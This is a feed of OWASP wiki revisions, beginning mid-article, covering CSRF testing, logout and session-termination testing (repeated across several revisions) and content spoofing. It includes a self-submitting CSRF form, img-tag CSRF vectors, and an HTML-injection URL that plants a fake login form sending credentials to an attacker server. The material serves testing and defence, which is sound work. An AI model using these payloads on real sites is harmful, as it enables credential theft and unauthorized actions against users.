Things may be obfuscated further, by referencing seemingly valid image URLs such as<br />
<br />
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”><br />
<br />
where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on <br />
http://[attacker]/picture.gif to http://[thirdparty]/action.<br />
<br />
Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).<br />
<br />
'''Sample scenario.'''<br />
<br />
Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself and session information is stored in a cookie.<br />
<br />
Let's suppose the firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but it will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form<br />
<br />
https://[target]/fwmgt/delete?rule=1<br />
<br />
(to delete rule number one)<br />
<br />
https://[target]/fwmgt/delete?rule=*<br />
<br />
(to delete all rules).<br />
<br />
<br />
The example is purposely quite naive, but shows in a simple way the dangers of CSRF.<br />
<br />
<center>[[image:Session Riding Firewall Management.gif]]</center><br />
<br />
<br />
Therefore, if we enter the value ‘*’ and press the Delete button, the following GET request is submitted.<br />
<br />
https://www.company.example/fwmgt/delete?rule=*<br />
<br />
<br />
with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation).<br />
<br />
<center>[[image:Session Riding Firewall Management 2.gif]]</center><br />
<br />
<br />
Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL <br />
<br />
https://[target]/fwmgt/delete?rule=*<br />
<br />
<br />
or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded ''img'' tag pointing to the same URL.<br />
<br />
<br />
In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.<br />
<br />
<br />
An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a CSRF attack targeting an application monitoring a nuclear power plant. Sounds far fetched? Probably, but it is a possibility.<br />
<br />
<br />
Self-vulnerable applications, i.e., applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a CSRF attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.<br />
<br />
<br />
<br />
==How to Test==<br />
<br />
===Black Box Testing===<br />
<br />
For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they can assume both roles – the attacker and the victim. In this case, testers know the URLs to be tested just by browsing around the application.<br />
<br />
<br />
Otherwise, if testers don’t have valid credentials available, they have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.<br />
<br />
<br />
Either way, a test case can be constructed as follows:<br />
<br />
* let ''u'' the URL being tested; for example, u = http://www.example.com/action<br />
* build an html page containing the http request referencing URL u (specifying all relevant parameters; in the case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);<br />
* make sure that the valid user is logged on the application;<br />
* induce him into following the link pointing to the URL to be tested (social engineering involved if you cannot impersonate the user yourself);<br />
* observe the result, i.e. check if the web server executed the request.<br />
<br />
<br />
===Gray Box Testing===<br />
<br />
Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. "Client side values” mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term ''secret'' to refer to this piece of information).<br />
<br />
<br />
Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.<br />
<br />
In case of POST, the following sample can be used. <br />
* Step 1. Create a HTML as below<br />
* Step 2. Update the HTML to malicious site<br />
* Step 3. Send the link http://maliciousSite/CSRF.html to victim to click it.<br />
<br />
<pre><br />
<br />
<html><br />
<body onload='document.CSRF.submit()'><br />
<br />
<form action='http://tagetWebsite/Authenticate.jsp' method='POST' name='CSRF'><br />
<input type='hidden' name='name' value='Hacked'><br />
<input type='hidden' name='password' value='Hacked'><br />
</form><br />
<br />
</body><br />
</html><br />
<br />
</pre><br />
<br />
==Tools==<br />
* WebScarab Spider http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project<br />
* CSRF Tester http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project<br />
* Cross Site Requester https://1337.yehg.net/cross_site_request_forgery.php (via img)<br />
* Cross Frame Loader https://1337.yehg.net/cross_site_framing.php (via iframe)<br />
* Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/<br />
<br />
<br />
==References==<br />
'''Whitepapers'''<br><br />
* Peter W: "Cross-Site Request Forgeries" - http://www.tux.org/~peterw/csrf.txt<br />
* Thomas Schreiber: "Session Riding" - http://www.securenet.de/papers/Session_Riding.pdf<br />
* Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan<br />
* Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml <br />
* A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf<br />
<br />
==Remediation==<br />
<br />
The following countermeasures are divided among recommendations to users and to developers.<br />
<br />
<br />
<u>Users</u><br />
<br />
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:<br />
<br />
* Logoff immediately after using a web application<br />
* Do not allow the browser to save username/passwords, and do not allow sites to “remember” the log in details.<br />
* Do not use the same browser to access sensitive applications and to surf freely the Internet; if it is necessary to do both things at the same machine, do them with separate browsers.<br />
<br />
<br />
Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.<br />
<br />
<br />
<u>Developers</u><br />
<br />
Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.<br />
<br />
<br />
Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit:<br />
<br />
*Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack. <br />
*The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application. <br />
*Automatic log out mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).<br />
<br />
==Related Security Activities==<br />
<br />
===Description of CSRF Vulnerabilities===<br />
<br />
See the OWASP article on [[CSRF]] Vulnerabilities.<br />
<br />
<br />
===How to Avoid CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to CSRF |Avoid CSRF]] Vulnerabilities.<br />
<br />
<br />
===How to Review Code for CSRF Vulnerabilities===<br />
<br />
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Review Code for CSRF]] Vulnerabilities.<br />
<br />
<br />
===How to Prevent CSRF Vulnerabilites===<br />
<br />
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_logout_functionality_(OTG-SESS-006)&diff=240717Testing for logout functionality (OTG-SESS-006)2018-05-15T14:48:25Z<p>D0ubl3 h3lix: /* How to Test */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks. <br />
<br />
<br />
A secure session termination requires at least the following components:<br />
<br />
* Availability of user interface controls that allow the user to manually log out.<br />
* Session termination after a given amount of time without activity (session timeout).<br />
* Proper invalidation of server-side session state.<br />
<br />
<br />
There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.<br />
<br />
<br />
Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided. <br />
<br />
<br />
Some web application frameworks rely solely on the session cookie to identify the logged-on user. The user's ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.<br />
<br />
<br />
Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.<br />
<br />
<br />
The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.<br />
<br />
== How to Test ==<br />
'''Testing for log out user interface:'''<br><br />
Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
There are some properties which indicate a good log out user interface:<br />
* A log out button is present on all pages of the web application.<br />
* The log out button should be identified quickly by a user who wants to log out from the web application.<br />
* After loading a page the log out button should be visible without scrolling.<br />
* Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.<br />
<br />
<br />
'''Testing for server-side session termination:'''<br><br />
First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.<br />
[[File:Sequence diagram for testing server-side session termination.png|frame|right]]<br />
<br />
<br />
'''Result Expected:'''<br><br />
No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.<br />
<br />
<br />
'''Testing for session timeout:'''<br><br />
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.<br />
<br />
<br />
'''Result Expected:'''<br><br />
The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.<br />
<br />
<br />
The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.<br />
<br />
<br />
'''Testing for session termination in single sign-on environments (single sign-off):'''<br><br />
Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.<br />
<br />
==Tools==<br />
* "Burp Suite - Repeater" - http://portswigger.net/burp/repeater.html<br />
<br />
== References ==<br />
'''Whitepapers'''<br />
* "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" - https://support.microsoft.com/en-us/kb/900111<br />
* "Cookie replay attacks in ASP.NET when using forms authentication" - https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication<br />
<br></div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=File:Sequence_diagram_for_testing_server-side_session_termination.png&diff=240716File:Sequence diagram for testing server-side session termination.png2018-05-15T14:47:16Z<p>D0ubl3 h3lix: </p>
<hr />
<div>sequence diagram</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_logout_functionality_(OTG-SESS-006)&diff=240715Testing for logout functionality (OTG-SESS-006)2018-05-15T14:45:05Z<p>D0ubl3 h3lix: /* How to Test */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks. <br />
<br />
<br />
A secure session termination requires at least the following components:<br />
<br />
* Availability of user interface controls that allow the user to manually log out.<br />
* Session termination after a given amount of time without activity (session timeout).<br />
* Proper invalidation of server-side session state.<br />
<br />
<br />
There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.<br />
<br />
<br />
Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided. <br />
<br />
<br />
Some web application frameworks rely solely on the session cookie to identify the logged-on user. The user's ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.<br />
<br />
<br />
Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.<br />
<br />
<br />
The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.<br />
<br />
== How to Test ==<br />
'''Testing for log out user interface:'''<br><br />
Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
There are some properties which indicate a good log out user interface:<br />
* A log out button is present on all pages of the web application.<br />
* The log out button should be identified quickly by a user who wants to log out from the web application.<br />
* After loading a page the log out button should be visible without scrolling.<br />
* Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.<br />
<br />
<br />
'''Testing for server-side session termination:'''<br><br />
First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.<br />
<br />
[[File:Scenario .jpg||frame|left]]<br />
<br />
'''Result Expected:'''<br><br />
No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.<br />
<br />
<br />
'''Testing for session timeout:'''<br><br />
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.<br />
<br />
<br />
'''Result Expected:'''<br><br />
The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.<br />
<br />
<br />
The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.<br />
<br />
<br />
'''Testing for session termination in single sign-on environments (single sign-off):'''<br><br />
Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.<br />
<br />
==Tools==<br />
* "Burp Suite - Repeater" - http://portswigger.net/burp/repeater.html<br />
<br />
== References ==<br />
'''Whitepapers'''<br />
* "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" - https://support.microsoft.com/en-us/kb/900111<br />
* "Cookie replay attacks in ASP.NET when using forms authentication" - https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication<br />
<br></div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_logout_functionality_(OTG-SESS-006)&diff=240714Testing for logout functionality (OTG-SESS-006)2018-05-15T14:42:43Z<p>D0ubl3 h3lix: Added sequence diagram for "testing server-side session termination"</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
Session termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks. <br />
<br />
<br />
A secure session termination requires at least the following components:<br />
<br />
* Availability of user interface controls that allow the user to manually log out.<br />
* Session termination after a given amount of time without activity (session timeout).<br />
* Proper invalidation of server-side session state.<br />
<br />
<br />
There are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Every page should contain a log out button on a place where it is directly visible. Unclear or ambiguous log out functions could cause the user not trusting such functionality.<br />
<br />
<br />
Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided. <br />
<br />
<br />
Some web application frameworks rely solely on the session cookie to identify the logged-on user. The user's ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.<br />
<br />
<br />
Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.<br />
<br />
<br />
The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.<br />
<br />
== How to Test ==<br />
'''Testing for log out user interface:'''<br><br />
Verify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
There are some properties which indicate a good log out user interface:<br />
* A log out button is present on all pages of the web application.<br />
* The log out button should be identified quickly by a user who wants to log out from the web application.<br />
* After loading a page the log out button should be visible without scrolling.<br />
* Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.<br />
<br />
<br />
'''Testing for server-side session termination:'''<br><br />
First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.<br />
<br />
[[File:Scenario .jpg|thumb]]<br />
<br />
'''Result Expected:'''<br><br />
No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.<br />
<br />
<br />
'''Testing for session timeout:'''<br><br />
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.<br />
<br />
<br />
'''Result Expected:'''<br><br />
The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.<br />
<br />
<br />
The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.<br />
<br />
<br />
'''Testing for session termination in single sign-on environments (single sign-off):'''<br><br />
Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.<br />
<br />
<br />
'''Result Expected:'''<br><br />
It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.<br />
<br />
==Tools==<br />
* "Burp Suite - Repeater" - http://portswigger.net/burp/repeater.html<br />
<br />
== References ==<br />
'''Whitepapers'''<br />
* "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" - https://support.microsoft.com/en-us/kb/900111<br />
* "Cookie replay attacks in ASP.NET when using forms authentication" - https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication<br />
<br></div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=File:Scenario_.jpg&diff=240713File:Scenario .jpg2018-05-15T14:42:07Z<p>D0ubl3 h3lix: </p>
<hr />
<div>Sequence diagrams of missing server-side session termination</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=239287Content Spoofing2018-04-04T05:17:34Z<p>D0ubl3 h3lix: /* Attack Scenario */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'', "arbitrary text injection" or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user-supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely misunderstood as a kind of bug that brings no impact.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. Another factor that heightens the risk is by doing SEO injection in a way that search engines crawl and index crafted URLs with falsified messages.<br />
<br />
By doing so, customers could be forced to switch to competitor's products. This could lead to loss of monetary value until rectification is properly done by the victim business. For public traded companies, its shares will be falling down, leading to uncontrolled loss of millions.<br />
<br />
[[File:Fake-text.png|thumb]]<br />
<br />
==Attack Scenario==<br />
<br />
An attacker compromised social accounts which have thousands of followers and distribute misleading Content Spoofing payload via Twitter/Facebook/Instagram/ similar popular channel. This will lead media to assume news is correct and create headline stories.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==[[Threat Agents]]==<br />
<br />
* Malicious competitors<br />
* Disgruntled employees<br />
* Unsatisfied customers<br />
* Scammers<br />
<br />
== Content Spoofing vs. Cross-site Scripting ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
Other example:<br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.<br />
</pre><br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
* Case studies (Spotify, LinkedIn, ..etc): https://twitter.com/ncweaver/status/974802236567007232?s=12<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=239286Content Spoofing2018-04-04T05:16:11Z<p>D0ubl3 h3lix: /* Risk Factors */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
